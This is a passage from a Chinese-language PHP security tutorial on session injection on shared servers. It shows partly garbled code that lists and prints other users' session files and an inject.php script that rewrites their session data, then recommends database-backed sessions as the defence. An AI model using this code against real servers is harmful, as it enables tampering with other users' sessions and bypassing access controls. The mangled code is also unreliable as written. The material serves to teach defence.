read()){ if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents($path/$filename); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_session; $_session = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ent_quotes, 'utf-8'); echo session [$sess_name]; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ent_quotes, 'utf-8'); $value = htmlentities($value, ent_quotes, 'utf-8'); echo $name:
; } echo '
'; } }}$handle->close();?>
脚本inject.php执行由表单所指定的修改:
$sess_data){ $_session = $sess_data; $sess_data = session_encode; file_put_contents($path/$sess_name, $sess_data);}$_session = array();?>
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。参见专题前面的内容。
延伸阅读 此文章所在专题列表如下:http://www.nowamagic.net/librarys/veda/detail/2079
